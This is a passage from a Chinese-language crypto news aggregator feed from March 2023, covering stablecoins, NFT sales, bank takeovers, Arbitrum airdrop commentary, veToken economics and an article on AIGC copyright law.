Gyroscope 稳定与多个其他稳定进行抵押，并根据准备金水平动态调整赎回价格，而不是假设抵押稳定为 1 美元。 除了设计更具活力的系统之外，DeFi 协议还应该在不过度破坏流动性的情况下尽可能地使稳定币多样化。这在很大程度上意味着设计更多像 DAI 这样的加密抵押稳定币。 Aave 和 Curve 是今年推出稳定币的两个项目，它们为稳定币的采用提供了可行的途径，而不是依赖于 USDC。 随着 USDC 恢复挂钩，预计 DeFi 将在短期内恢复正常业务。从长远来看，投资者和用户都应该寻找推出替代稳定币和协议并采用降低风险的动态设计的项目。   原文作者：Messari - Dustin Teander 编译：BlockTurbo  ( 6 min )
    数据：黄立成抛售14枚MAYC和41个Otherdeed元宇宙虚拟地块
    PANews 3月18日消息，据NFT Whale Alert披露数据显示，中国台湾歌手黄立成抛售14 枚MAYC，获得187.59枚ETH（约合32.7万美元）、以及41个Otherside元宇宙虚拟地块Otherdeed，获得65枚ETH（约合11.3万美元）。此前3月15日消息，黄立成地址抛售132枚MAYC。  ( 4 min )
    数据：Arbitrum One成立以来GMX的链上合约日志和实体内交易份额最高
    PANews 3月18日消息，区块链数据平台Nansen发布了自Arbitrum One成立以来链上合约日志和按实体划分的交易份额数据，排名依次是：GMX（22%）、Treasure（19%）、SushiSwap（9%）、Uniswap（6%）和Hop Protocol（5%）。此外Nansen表示，关于分配给社区的ARB空投，链上合约日志和交易份额仅是Arbitrum链上DAO活动的众多指标之一。  ( 4 min )
    马斯克：推特将于3月31日开源所有用于推荐推文的代码
    PANews 3月18日消息，马斯克推特发文称，推特将于3月31日开源所有用于推荐推文的代码。我们的“算法”过于复杂，内部未完全理解。但一旦发现问题，我们会立刻进行修补。我们正在开发一种简化的方法来提供更有吸引力的推文，但该项工作仍在进行中。这也将是开源的。  ( 4 min )
    与浪之间的 AIGC，AIGC 作品与版权
    随着生成算法、训练模型、算力等 AI 核心技术的融合突破，AIGC（人工智能生成内容，Artificial Intelligence Generated Content）这类运用 AI 技术自动生成内容的应用在近两年迎来了爆发式的发展，如 ChatGPT 的文本、Midjounery 的绘图，以及其他音视频等内容，都已经从概念来到了现实，即将带来一场全新的产业革命。 AIGC 这类前沿技术的应用不可避免地也带来了一系列法律风险，就如目前，对于 AIGC 的著作权归属在我国法律体系内尚属空白。本文希望通过对现行《著作权法》体系进行探究，依次厘清以下几个问题：（1）什么是著作权法意义上的作品？（2）AIGC 是不是作品？（3）AIGC 作品归谁？（4）AIGC 是否会涉及侵权？ 根据我国《著作权法》第三条规定：“本法所称的作品，是指文学、艺术和科学领域内具有独创性并能以一定形式表现的智力成果，包括：（一）文字作品；（二）口述作品；（三）音乐、戏剧、曲艺、舞蹈、杂技艺术作品；（四）美术、建筑作品；（五）摄影作品；（六）视听作品；（七）工程设计图、产品设计图、地图、示意图等图形作品和模型作品；（八）计算机软件；（九）符合作品特征的其他智力成果。”我国《著作权法实施条例》第二条规定：“著作权法所称作品，是指文学、艺术和科学领域内具有独创性并能以某种有形形式复制的智力成果。” AIGC 是否属于著作权法意义上的作品，需要从 AIGC 的本质出发进行分析。其中，独创性是保证作品受到著作权法保护的前提。独创性包含“独”和“创”两个维度。 “独”是独立性的意思，即作者独立创作完成作品，不存在对他人作品的抄袭或复制，其中包含了（1）作品从无到有的创作，以及（2）在已有作品上的再创作而形成的与原作品存在客观区别的新作品（一般称为“二次创作”）这两种创作行为。 “创”是创造性的意思，即作品必须是创造性智力活动的产物，体现作者的构思、思想或者感情，并带有创作个性。 我国《著作权法》和《著作权法实施条例》对于独创性标准没有给出明确规定，由于独创性标准的定义过于概括和抽象，如何判断作品是否具有独创性，还是需要结合具体案件来判断。 AIGC 是否具有独创性，是 AIGC 成为著作权法意义上的作品的前提。AIGC 的独创性可以在内容生成过程中的（1）AI 开发者的算法模型设计，以及（2）AI 使用者的人工修改筛选，这两个环节得到体现。 在 Dreamwriter 案中（(2019）粤 0305 民初 14010 号），原告通过自主研发的 AI 软件 Dreamwriter 生成了财经文章（文字作品）并发布，而被告未经许可发布了同样的财经文章，即构成对原告财经文章著作权的侵权。法院在认定涉案财经文章是否具有独创性的考察标准具有较强的参考意义：（1）是否独立创作；（2）是否与已有作品存在一定差异；（3）是否体现作者个性化的选择。 法院认为：“判断涉案文章是否具有独创性，应当从是否独立创作及外在表现上是否与已有作品存在一定程度的差异，或具备最低程度的创造性进行分析判断……从涉案文章的外在表现形式与生成过程来分析，该文章的特定表现形式源于创作者个性化的选择与安排，并由 Dreamwriter 软件在技术上“生成”的创作过程均满足著作权法对文字作品的保护条件，法院认定涉案财经文章属于我国著作权法所保护的文字作品。” 上述案件说明了 AI 开发者对 AI 算法模型的研发设计与最终生成的 AIGC 有直接的关系，可以将 AI 算法软件的独创性视作 AIGC 的独创性，从而满足 AIGC 作品独创性的要求。 但是，市场上大部分 AI 软件在创作生成过程中，仅仅作为工具参与“体力劳动”，而非像作者那样，进行“脑力劳动”，难以跳出作者给出的方案构思而独立创作。因此，这种情况下，AI 软件在创作过程中仅仅发挥工具作用而未参与创作，仅仅是对工作时间的压缩，并不是独创性的表达。那么如果 AIGC 想要成为著作权意义上的作品，就需要 AI 使用者在创作生成过程中，借用 AI 工具进行独创性地表达（人工修改筛选）。 AI 使用者如果想被认定为 AIGC 作者，那么其输入数据（INPUT）就必须体现相当程度的脑力劳动与思维运作，经过独创而形成的智力成果。换句话说，就是 AI 使用者对于生成内容的贡献与控制远远大于 AI 工具本身。2023年3月16日，美国版权局也发布了《版权登记指南：包含人工智能生成材料的作品》，明确版权保护的是人类的创造而非 AI 的创造。对于 AIGC 作品的版权保护取决于 AI 的贡献是否属于“机械复制的结果”（Mechanical Reproduction），以及作品是否反映作者“自己的心理构想”。 简而言之，AIGC 是否能进行登记取决于 AI 使用者（作者）对于生成内容的贡献与控制远远大于 AI 软件本身，可以利用 AI 工具作为作品创作过程中的一部分，但作品表达的创造性必须是由人类控制的。 至于“程度”的高低，难以有一个统一的参考标准。但是可以参考 Midjounery 的 Showcase 页面，这些 AIGC 作品必然不是简单输入“人与机器人在太空恋爱”这类小段 prompt 能够形成的。 既然 AIGC 在满足一定条件后能够成为作品，那么 AIGC 作品的著作权归谁？或者说 AI 模型能否成为作者？在回答问题之前，我们先来看美国版权局告诉我们什么。 2022 年 2 月 14 日，美国版权局审查委员会（Copyright Review Board）再次拒绝了 Ryan Abbott 提交的 AI 作品“A Recent Entrance to Paradise”的版权登记注册复议请求，并重申根据美国《版权法》的规定，版权法仅仅保护“建立在人类创造力基础”上的“智力劳动的果实”。人类作者身份是美国版权保护的先决条件，因此该作品不能登记注册。 同样的，目前在国内，AI 本身亦不能成为作者。首先来看，作者进行创作以及其作品在之后获得《著作权法》保护，是一项民事法律行为，作者需要独立承担法律责任。显然将 AI 作为作者并不合适，AI 只是一个被开发的程序，不具有独立的财产，不具有独立的民事责任能力，无法作为侵权主体因其侵权行为所应当承担的不利后果，也无法承担相应的赔偿责任。我国《民法典》第一百七十六条规定：“民事主体依照法律规定或者按照当事人约定，履行民事义务，承担民事责任。”同时，我国《民法典》规定，能够作为民事主体的有自然人、法人和非法人组织。 其次，根据我国《著作权法》第十一条规定：“创作作品的公民是作者。由法人或者其他组织主持，代表法人或者其他组织意志创作，并由法人或者其他组织承担责任的作品，法人或者其他组织视为作者。”在 Dreamwriter 一案，深圳南山区法院也给出了它的答案，法院认为 AI 作品为法人作品，原告法人为合法著作权人，著作权由其享有。 所以，如果 AIGC 作品能够满足我国《著作权法》和《著作权法实施条例》的要求，那么将 AIGC 作品归属于自然人作者，或者是 AI 开发者的法人或其他组织，由其享有著作权并承担相应法律责任，是在现有著作权法框架下最适宜的处理方式。 将 AI 模型排除之后，就剩下 AI 开发者和 AI 使用者两个著作权归属选项了。虽然目前并没有明确的答案，但是我们可以在实践中看到，如 OpenAI、Midjounery 等公司都在其《用户协议》中明确声明 AI 使用者对 AIGC 享用全部权利；而 Stable Diffusion 公司则在官方网站的声明，生成的新内容会以“CC0 1.0 通用协议”完全开源的方式呈现于互联网环境中，进入公共领域。 （from https://stablediffusionweb.com/） OpenAI 的条款规定：“您可以向服务提供输入（“Input”），并接收根据输入产生的输出（“Output”）。输入和输出统称为“内容”。在双方之间以及在适用法律允许的范围内，您拥有所有输入内容的权益，并且在您遵守本条款的前提下，OpenAI 特此向您转让其对输出内容的所有权利、所有权和利益。”Midjounery 则表示：“只要是付费用户，那么您就拥有输出内容的所有权利、所有权和利益”。 （from https://docs.midjourney.com/docs/terms-of-service） 可以看出 AI 开发者为了避免歧义，基本都将 AIGC 的权益直接开放，或通过开源软件 + CC0的形式开放给了 AI 使用者。 以 Stable Diffusion 为例，这类 AIGC 应用根据工作原理分为两个阶段，可能产生的侵权行为也可能发生在这两个阶段。第一个是输入阶段（AI 模型训练阶段），即 Stable Diffusion 需要一个庞大的作品数据库来训练其内部的 AI 组件，支撑 AI 算法的深度学习，如果作品数据库中包含有未经授权的著作权作品（著作权来源存在问题），那么就可能构成对该未经授权作品的著作权的侵权。所以 AI 开发者应确保作品数据库在著作权来源上的合法性。 在 2023 年初，就有以 Sarah Andersen、Kelly McKernan 和 Karla Ortiz 为首的众多艺术家，联合对 Stability Al、DeviantArt 和 Midjourney 发起集体诉讼，指控 Stable Diffusion 是在未经许可的情况下，从互联网上收集了数十亿张图像上进行训练，包括这三位艺术家所拥有的图像。 在 AIGC 这一新生技术尚未有明确监管、法规的情况下，这一诉讼及裁判必将影响后续 AIGC 行业的发展。如果艺术家获得了胜利，那么这将大大削弱了 AIGC 公司的可行性，使其输入阶段的模型训练变得异常昂贵、艰难。如果 AIGC 公司取得了胜利，那么艺术家的版权作品价值意义何在。 第二个是输出阶段（AI 模型应用阶段），即只需输入一小段描述性文字，即可生成对应的图像内容，这些生成的内容，很大概率包含之前用于训练的作品中的元素及特征，也可能与之前的作品相近、相似。 司法实务中，判定著作权侵权成立需要满足“接触 + 实质性相似”两个条件，一是证明侵权人曾经接触过或可能接触过原作品，存在抄袭的客观可能性；二是证明侵权人的作品与原作品构成实质性相似。可以想象去证明 AI 曾经接触过或可能接触过原作品是非常困难的。 相信未来 AI 会像网络基础设施一样深入到各行各业，我们应该积极地去拥抱这些新事物。期待未来的 Metaverse 场景会被 AIGC 填满，Network State 也会因为 AIGC 而变得充实。 ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。 Reference: [1] 腾讯研究院，“你的 AI 侵犯了我的版权”：浅谈 AIGC 背后的版权保护问题 https://mp.weixin.qq.com/s/FFVlVmltIdiagM35 yzCWIw [2] Midjourney, Terms of Service, Version Effective Date: Feb 10, 2023 https://docs.midjourney.com/docs/terms-of-service [3] OpenAI, Terms of Use, updated March 14, 2023 https://openai.com/policies/terms-of-use [4] Stability. AI, Terms of Use, Last Updated: December 20, 2022 https://stability.ai/terms-of-use [5] Stable Diffusion Litigation https://stablediffusionlitigation.com/ [6] Andersen et al v. Stability AI Ltd. et al https://stablediffusionlitigation.com/PDF/00201/1-1-stable-diffusion-complaint.PDF [7] Copyright Registration Guidance: Works Containing Material Generated by Artificial Intelligence https://public-inspection.federalregister.gov/2023-05321.pdf  ( 6 min )
    亿万富翁投资者Bill Ackman：美国银行或将于周一收购Signature Bank
    PANews 3月18日消息，亿万富翁投资者Bill Ackman推特发文称，“听说美国银行将于周一收购Signature Bank”。他还表示，“除非我们能够保护没有保险的存款，否则小银行的资本成本将会上升，迫使它们合并或被系统重要性银行收购。我认为这对美国没有好处。”  ( 4 min )
    金融时报：瑞银正就部分或整体收购瑞信进行谈判
    PANews 3月18日消息，据英国《金融时报》援引多位知情人士的话称，瑞银集团（UBS）正在就部分或整体收购瑞信一事进行磋商，双方将在周末会谈。瑞士央行和瑞士金融监管局(Finma)将协调谈判，旨在提振市场对瑞士银行业的信心。瑞士监管机构已告知美联储和英国央行，合并两家银行是他们的“A计划”。但他们表示，可能会继续考虑其他选择。据此前消息，瑞信表示，将从瑞士央行借款500亿瑞士法郎(约合540亿美元)。  ( 4 min )
    Yuga Labs首席创意官：将把TwelveFold部分销售收益进行再投资，4月份将公布更多新内容
    PANews 3月18日消息，Yuga Labs首席创意官schmigge figge推特发文分享了比特币NFT系列TwelveFold的一些细节和未来计划，他表示Yuga Labs团队使用XMP元数据来处理比特币链上数字藏品。TwelveFold系列分为冬季、春季、夏季和秋季四个季节，可以细分为25个独立的系列。每个系列中的所有12件作品都是相关的，按顺序排放。所有文件大小都在229kb到114kb之间。Yuga Labs将会把部分销售收益进行再投资，以继续探索比特币区块链。更多新内容信息将于四月份公布。此外，schmigge figge还称该系列并非他一人创作，许多创作者希望保持匿名。  ( 4 min )
    一周精选丨金融市场再起波澜，避险情绪助推BTC突破2.5万美元；Arbitrum空投来袭，将掀起Layer2热潮？
    PANews编者按：PANews精选了一周的优质内容，帮助大家利用周末时间查漏补缺，点击标题即可阅读。PANews已上线Hong Kong Web3 Festival 2023活动汇总（持续更新），点此查看更多活动日程 三家加密友好银行倒下，美国还剩下哪些加密友好型银行？ 越来越多的银行会在市场波动和监管趋紧的双重逼迫下远离加密市场，作为出入金的重要通道，目前美国有哪些加密友好型银行？ 视频｜USDC危机解除？美国救市比特币暴涨！到底发生什么事，你学到了什么？ 过去的周末，市场就跟坐过山车一样相当刺激，硅谷銀行破产，USDC脱钩，市场大跌，美国监管机构救市，危机瞬间舒缓，市场大涨，剧情反转相信很多人都还没反应过来，这几天市场到底发生了什么？视频帮你梳理一下！ PAData：近期BTC投资回报表现高于黄金，与美元指数相关性减弱 今年BTC SOPR比率处于显著的上升趋势中，这或意味着市场正在转向α逻辑。 美国加密矿企或将被最高征税30%，核能挖矿会是出路吗？ 随着美国“征税大刀”挥向加密矿业，将对该国矿企带来怎样的影响？核能挖矿又能否成为一条可持续的发展之路？ Arthur Hayes：美联储救市，“印钞机”启动 解读美联储新的银行定期融资计划 (BTFP) 以及带来的影响。 你能领多少ARB代币？速览Arbitrum代币经济学和空投细则 Arbitrum代币初始总供应量 100 亿枚，每年最多通货膨胀 2%，初始总供应量的 12.75% 将于 3 月 23 日空投给 Arbitrum 用户和在 Arbitrum 构建应用的 DAO 金库。 超62万地址获得空投，详解Arbitrum空投数据和防女巫策略  Arbitrum 基金会和 Nansen 合作，一起设计了空投策略和分配模型，以量化的方式确保每个钱包或链上实体地址是否满足空投资格标准。 PA图说 | Arbitrum空投后，速览其他潜在空投的知名项目 除了Arbitrum，还有哪些潜在空投的知名项目值得我们关注和参与？ Arbitrum发币，生态起飞？ 深入探寻Arbitrum 生态，会随着治理代币的发布而再次爆发吗？ 除了空投，Arbitrum哪些进展值得关注？ Arbitrum 还为那些有兴趣在 Arbitrum 之上构建第 3 层解决方案的人发布了一个开发工具包：Arbitrum Orbit。 详解币安Launchpad项目Space ID：经济模型、空投细则及如何获得后续空投 本文PANews将为你详解Space ID的运营进展、代币经济模型、预期市值、空投细则，以及如何获得后续空投。 盘点半年内最赚钱的5个DeFi项目 DeFi协议很赚钱，但代币持有人不一定。 5分钟读懂Pendle Finance：一个小而美的DeFi收益交易协议 Pendle Finance是一款部署在Ethereum 和Arbitrum上的DeFi收益交易协议。 以太坊正统性、EVM完全兼容，Layer2后来者Scroll能否弯道超车？ 除了在EVM兼容方面的优秀表现，Scroll证明节点的去中心化和开源的社区经营都体现了以太坊的正统性，达到了价值观层面的「兼容」，顶级硬件速度为Scroll注入了更大的潜力。 dYdX的进击？了解交易奖励减少45%的来龙去脉 3月14日，dYdX社区投票通过DIP-20提案，决定将交易奖励减少45%，为何dYdX在市场动荡之际将交易奖励减少近一半？ 复盘USDC脱锚下的抄底、避险和套利机会 Circle在硅谷银行存放储备金导致USDC、DAI、FRAX、MIM等稳定币相继脱锚，市场的剧烈波动也带来一些机会。 哪些DEX在“USDC危机”中大赚了一笔？ 最近因硅谷银行倒闭导致的“USDC危机”使得用户选择DEX交易，Uniswap、Curve Finance、SushiSwap这些DEX在上周末取得了令人瞩目的增长。 DeFi可组合性的潘多拉魔盒：Euler Finance被攻击，这11个DeFi项目遭受损失 Euler作为底层的借贷协议，安全性更值得关注，本次攻击也给其它DeFi项目造成数千万美元的损失。 Vitalik撰文：如何选择多重签名和社交恢复钱包的“守护人”？ 钱包被盗事件层出不穷，如何防止用户资金损失和盗窃始终是行业重要问题，目前市场上出现的多重签名和社交恢复钱包能够极大提升钱包的安全性，但如何选择钱包的“守护人”成为了下一个要思考的问题，Vitalik今日发文为我们阐述了他的看法。 被誉为“终极解决方案”的ZK到底是什么？ 本文将用便于理解的方式解释什么是 ZKPs 和 zkEVMs，并重点探讨该领域内的三个主要创新类别：隐私、可扩展性和新型应用，以及它们的潜力和需要克服的障碍。 浅析3种ZK扩容方案：ZK-rollup、Validium和Volitions 本文简单介绍3种基于零知识证明的扩容方案。 一文读懂以太坊质押提款的工作原理 由于上海升级将在今年上半年启动，所以值得注意和理解什么是提款，其工作机制，以及这个新特性的使用方法。 如何将交互式的零知识证明协议改造为非交互式？ 在这篇文章当中，我们将介绍FOX使用经典的Fiat-Shamir启发式（heuristic）来生成Brakedown中的挑战从而实现非交互式协议的过程。 离岸人民币稳定币项目CNHC完成1000万美元A+轮融资，KuCoin Ventures领投 “红通”逃犯郭文贵及其团伙在美国纽约被捕，涉嫌含加密货币的10亿美元诈骗 Signature Bank倒闭，已被美国FDIC接管，所有储户都将获得补偿 百度正式发布大语言模型“文心一言” Vitalik地址买入37.8万枚USDC和5万枚DAI Coinbase主管：ChatGPT-4已能实时检查以太坊链上智能合约漏洞 美国财长耶伦：监管机构正在制定政策来解决硅谷银行事件 赵长鹏：将把行业复苏基金内剩余资产从BUSD换为BTC、BNB和ETH等 以太坊主网将于4月12日进行上海（Shapella）升级 Circle公告：将使用公司资源和外部资本弥补任何短缺  ( 5 min )
    消息人士：Coinbase拟议的离岸平台将提供衍生品交易
    PANews 3月18日消息，据The Block报道，据两位知情人士透露，加密交易所Coinbase正在推出一个离岸平台，以交易加密货币永续掉期。Coinbase已经向做市商和交易公司介绍了在离岸司法管辖区推出该平台的计划。据彭博社此前报道，Coinbase Global正在考虑在海外建立一个新的交易平台，但没有具体说明新平台将交易的产品类型。  ( 4 min )
    法庭文件：FTX申请破产时资产负债表有68亿美元缺口
    PANews 3月18日消息，据CoinDesk报道，周五提交给破产法院的一份文件显示，FTX集团在去年11月申请破产时，资产负债表上有68亿美元的缺口。其中FTX.com净负债106亿美元，FTX.US净负债8700万美元。FTX关联交易公司Alameda Research净资产26亿美元，FTX Ventures净资产3亿美元。这些公司总共负债约为116亿美元，其中大部分是客户索赔，而资产为48亿美元。据悉，这些报表未经审计，可能会有变动。  ( 4 min )

  • Open

    【英文】以太坊生态周报：Shapella 升级在 Goerli 测试网激活、主网升级日期确认
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：Goerli 测试网成功升级到 Shapella，主网升级定于 4 月 12 日；关于 EL 建议 local blocks 的讨论；可能的 Cancun EIP；以太坊客户端生态调研；KZG Ceremony 特别贡献期 4 月 1-16 日；EIP4844 费用市场分析。 文章来源： https://weekinethereumnews.com/week-in-ethereum-news-march-18-2023/ 文章作者： abcoathup.eth  ( 9 min )
    【英文长推】讨论 Arbitrum 空投后受益最大的项目：GMX、MAGIC、GNS…
    Chainfeeds 导读： Arbitrum 空投后会有大量流动性注入 Arbitrum 生态系统，大部分将会向主要替代品和竞争对手流入。加密货币 KOL Louis Cooper 撰文讨论了他预计受益最大的项目以及相关原因。 文章来源： https://twitter.com/louiscooper_/status/1636686076617314304 文章作者： Louis Cooper 观点： Louis Cooper：1）GMX 和 MAGIC。GMX：数据显示 GMX 是目前 Arbitrum 最大的协议。MAGIC：对于 MAGIC 的竞争对手，我预计看到大规模 PSI 。然而，这并不意味着 MAGIC 不会受到关注。相对其他协议来说具有巨大深度且与 Arbitrum 核心密切相关，它不能被忽视。【原文为英文】 内容来源 Louis Cooper：2）二层投机项目。GNS 和 VELA，两者都在 TVL 前 10 名，但仍比 GMX 小得多。PerpyFinance，是在 GMX 或 BFR 之上构建的 SocialFi 平台。然而，我不认为仅基于 GLP 的协议表现会很好，因为市场已经饱和了。【原文为英文】 内容来源 Louis Cooper：3）GambleFi。类似 ARC 这样接近 ATH 的协议，以及新发布的竞争对手 WINR 肯定会引起刺激性出价。更多像 ROUL 和 LOTTO 这样的 degen 玩法也可能表现良好。【原文为英文】 内容来源  ( 2 min )
    BuidlerDAO：万字长文解析 veToken 经济模型的机制和创新
    Chainfeeds 导读： 继 Curve 首次提出 ve 之后，众多协议也纷纷将其纳入了自己的经济模型，并基于 Curve ve 做出了自己的迭代和创新。BuidlerDAO 研究小组探索了 Curve ve 的运作模式及优缺点，并结合不同协议的创新梳理了 ve 的迭代发展，并给出了在实际中运用 ve 的建议。 文章来源： https://mp.weixin.qq.com/s/N7B1rdkzi_ZF5MWu8ITRzw 文章作者： Buidler DAO 观点： Buidler DAO：ve 的核心机制在于用户通过锁定 token 获得 veToken。ve 的优点：1. 锁定后流动性减少，减少了抛压，有助于币价稳定；2. 更好的治理可能性；3. 各方长期利益相对协调一致。ve 的不足：1. 硬性「锁定时间」对投资者不够友好；2. 治理中心化。 内容来源 Buidler DAO：不同协议的创新：1.ve 代币 token 化。Convex 对于 ve 的低流动性给出的解答是将 ve 代币 token 化。2.ve 代币 NFT 化：在 AC（Yearn 创始人） 提出的 VE (3,3) 模型中，其重要的一个机制创新在于使 ve 代币可转让。3. 软性锁定 * 退出惩罚。不少协议延展了允许中途退出的机制，只不过叠加了退出惩罚。 内容来源 Buidler DAO：4. 激励机制设定。持有 ve 代币的奖励来源大致可以分为：token 增发奖励、奖励倍数提升、业务收入（比如手续费）分成、惩罚费用等其他收益按比例分配（如有）。5. 治理机制的权衡。包括：无白名单限制，无需许可即可与协议互动（防止垄断，更开放）；ve 设计成不可转让，从而避免直接贿选；ve 的投票权重随时间递减，治理权得以自然流动。 内容来源  ( 35 min )
    「数字黄金」的蜕变：浅析比特币的 3 种应用拓展方案
    Chainfeeds 导读： Ordinals NFT 的火爆，让比特币在支付储值功能之外有了更多实际用例，也让有望承载更多应用的比特币 Layer2 网络备受关注。欧科云链研究员蒋照生阐述了比特币新叙事的原因及基础、前景及挑战。 文章来源： https://www.defidaonews.com/article/6809722 文章作者： 欧科云链研究院 观点： 欧科云链研究院：原因及基础：比特币拓展用例的方式有三种：在比特币原链上构建新应用、通过创建衍生比特币资产来丰富用例和通过比特币 Layer2 网络来承载更多用例。比特币需要新的叙事，以解决其减半叙事存在的天然缺陷。此外，传统金融市场对比特币的接受度不断提高，机构投资人也越来越多地参与其中，并且愿意更深入地参与加密市场。这些变化为比特币应用叙事提供了外部和内在技术环境上的支持。 内容来源 欧科云链研究院：前景及挑战：如果比特币能全面解锁应用叙事，凭借其在市场认可度与网络安全性方面的优势，未来完全有希望打破以太坊在区块链应用方面的垄断地位。在比特币用例拓展这件事上，市场至今并未取得完全共识。如何解决这些争议，在让比特币在变得更可用和更实用的同时，被更多人接受和认可是比特币应用拓展需要解决的根本问题。同时，如何构建多元应用并做好比特币原网络与新应用之间的风险隔离风险隔离也是重要挑战。 内容来源  ( 1 min )
    【英文长推】Paradigm 投资合伙人：为何投资智能合约审计项目 C4
    Chainfeeds 导读： Paradigm 通过代币融资向智能合约审计项目 C4 投资 600 万美元，以获得其代币总量 15% 的代币。Paradigm 投资合伙人 caitlin pintavorn 撰文介绍了 C4 市场模式以及看好该项目的原因。 文章来源： https://twitter.com/caitlinxyz/status/1636354028778172416 文章作者： caitlin pintavorn 观点： caitlin pintavorn：在加密领域最大的 100 次黑客攻击中，55% 是针对未经审计的协议。传统的审计模式不能随着加密货币的增长而扩展：项目需要等待数月，只是为了让几个审计员审查他们的代码。C4 创建了竞争性审计，为项目提供更全面的智能合约代码审查，并为独立的安全研究人员扩大自由市场。【原文为英文】 内容来源 caitlin pintavorn：C4 的市场模式：项目可以设立公共审计竞赛，为 3 千多名注册审计师提供奖励池，以便他们在发现漏洞时竞争。通过 C4 已经发现了 800 多个高严重性的 bug。过去两年中，项目方已经支付了约 1500 万美元审计奖金。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Variant Fund 合伙人谈加密基础设施发展方向
    Chainfeeds 导读： Variant Fund 投资合伙人 Alana Levin 提出了 5 个看好的区块链基础设施发展方向，分别是：特定类别的拍卖、事件驱动的自动化信息、加密技术、混合托管模式和新的仲裁机制。她认为这 5 类基础设施将释放新的用户行为和商业模式，继而推动大规模采用。 文章来源： https://twitter.com/AlanaDLevin/status/1636768018297389057 文章作者： Alana Levin 观点： Alana Levin：方向 1：特定类别的拍卖。满足专门类别的应用需求是拍卖信息中一个开放的开发空间。方向 2：事件驱动的自动化信息。目前存在的痛点：用户希望在链上做一些事情，而无需时刻关注链上动态。解决方案：建立基础设施，使得用户在特定条件下自动执行。这可能看起来像托管账户、账户抽象、访问控制或其他东西。【原文为英文】 内容来源 Alana Levin：方向 3：加密技术。可能会有一些有趣的项目围绕着加密数据库、保密信息传递和证明以及访问控制而展开。方向 4：混合托管模式。有一个未被充分开发的混合和匹配信息的开发空间，可以提供好的灵活性和安全性。方向 5：新的仲裁机制。迄今为止，已经围绕经济利益、「观察者」网络、欺诈证明系统等建立了一些机制。我很乐观地认为，这是一个我们将继续看到创新的领域。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文解析收益自动化稳定币协议 SperaxUSD：或是 ARB 空投的最佳测试版
    Chainfeeds 导读： 哪个 Arbitrum dapp 将是 ARB 空投的最佳测试版？加密货币 KOL Degen Maker 在对 SperaxUSD 及其 Demeter 协议进行了全面分析后，认为 SperaxUSD 会成为最好的选择。 文章来源： https://twitter.com/realdegengmx/status/1636748674641563648 文章作者： Degen Maker 观点： Degen Maker：收益来自哪里？当 USDs 被铸造时，抵押品被存入经过审计的收益聚合器中以生成收益。收益策略由 veSPA 持有者确定，并且 50% 的生成收益每周分配给 USDs 持有者。Sperax 的目标是为 USDs 实现 11% APY。超出 11％之外产生的任何多余收益都将保存下来，在回报低于 11％时使用。Sperax 协议利用剩余收益从市场购买 SPA。购买的一半 SPA 将被销毁，另一半将分配给 veSPA 持有者。【原文为英文】 内容来源 Degen Maker：来自 ARB 空投和激励的流动性注入将推动 DAO 并增加这些协议的使用。随着更多的 DAO 加入 Demeter 为其用户创建 farming 机会和贿赂，USDs 利用率将增加，收益也将增加。Demeter 进入不同链将增加 veSPA 持有者的收入。团队对社区反应迅速，DAO 也积极参与协议决策。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新的永续合约去中心化交易所是炒作还是已经实现了 PMF？
    Chainfeeds 导读： FTX 的崩盘和 GMX 的崛起引发了市场进军去中心化永续市场的热潮。加密货币 KOL Nemo 就永续合约去中心化交易所市场进行分析，对 GMX 的分叉市场持有悲观的态度，认为只有具有强大差异化和良好营销策略的项目会获得市场份额。 文章来源： https://twitter.com/0xnairda/status/1636740678968549378 文章作者： Nemo 观点： Nemo：永续合约去中心化交易所目前还没有显著的竞争优势。在中心化交易所上进行永续合约交易仍然具有以下优势：1）更好的用户体验，2）更低的费用，3）更多资产，4）价格发现机制（CLOB），5）更深入的流动性。然而，这并不意味着合成永续 DEX 在市场上没有位置。主要永续 DEX 的交易量仍然坚挺，是 DeFi 原生玩家首选的交易场所。【原文为英文】 内容来源 Nemo：短期内，由于协议的目标用户群相似，永续 DEX 市场将是 PvP。具有强大差异化和良好营销策略的项目将获得市场份额。并且社交交易仍然是一个强大的用例，但团队尚未完全理解。从长远来看，合成永续 DEX 的市场份额将会下降，但采用率将在绝对意义上增加。【原文为英文】 内容来源 Nemo：我对 GMX 分叉持悲观态度。GMX 具有率先进入此市场的优势、最深的流动性和专门社区。但协议不太可扩展，并且后来者无法提供更多东西。现在尽管有 21 个分叉项目，但所有 GMX 分叉总共只有 4200 万 TVL。【原文为英文】 内容来源  ( 2 min )
    【长推】观点：NFT 项目中社区和公司的利益分配至关重要
    Chainfeeds 导读： Doodles 创始人表示「我们不再是一个 NFT 项目」 引发了社区 fud。加密货币 KOL starzq.eth 认为 Doodles 的目标是成为头部 IP， IP 需要 cross-media，超越 NFT，这本身没有问题，问题出在社区和公司的利益分配上。 文章来源： https://twitter.com/starzqeth/status/1636660154056982528 文章作者： starzq.eth 观点： starzq.eth：1）NFT 不是公司股票，和公司 / 项目价值并没有直接联系。持有一个 NFT，项目的收入属于项目方和投资人，并没有保证说会给 hodler 分红。2）PFP 项目价值如何回馈给社区，写在 IP 权利里。IP 基于文化，文化基于社区，IP 类项目和社区一起做大价值事半功倍。3）如果不与社区分享价值，又回到了 web2 中心化的老路。 内容来源  ( 2 min )
    币安将 SAFU 基金中的 BUSD 兑换成 TUSD 与 USDT
    币安将 SAFU 基金中的 BUSD 兑换成 TUSD 与 USDT 币安公告称，已将用户安全资产基金（SAFU）中持有的 BUSD 兑换成 TUSD 与 USDT，以确保 SAFU 中的资产在 BUSD 市场持续下降的情况下长期保护用户。币安表示，SAFU 基金将受到密切关注，以确保其资本充足，并在必要时使用币安自有资金定期补充资金。 内容来源  ( 37 min )
    区块链创作者互动平台 GigaStar 完成 480 万美元种子轮融资，DV Crypto VC 等参投
    区块链创作者互动平台 GigaStar 完成 480 万美元种子轮融资，DV Crypto VC 等参投 据 Prnewswire 报道，区块链创作者互动平台 GigaStar 宣布完成 480 万美元种子轮融资，DV Crypto VC、Tomsic Holdings、Nameless Ventures 和 Belvedere Strategic Capital 参投。GigaStar 计划于本月进行软启动，并计划在第二季度做进一步部署。 GigaStar 通过利用区块链技术让创作者获得更具创新的互动方式，包括粉丝激励、潜在长期版税等，目前主要支持 YouTube 创作者并推出频道收入代币 （CRT），以为新一代 Web3 YouTube 创作者赋能。 内容来源  ( 7 min )
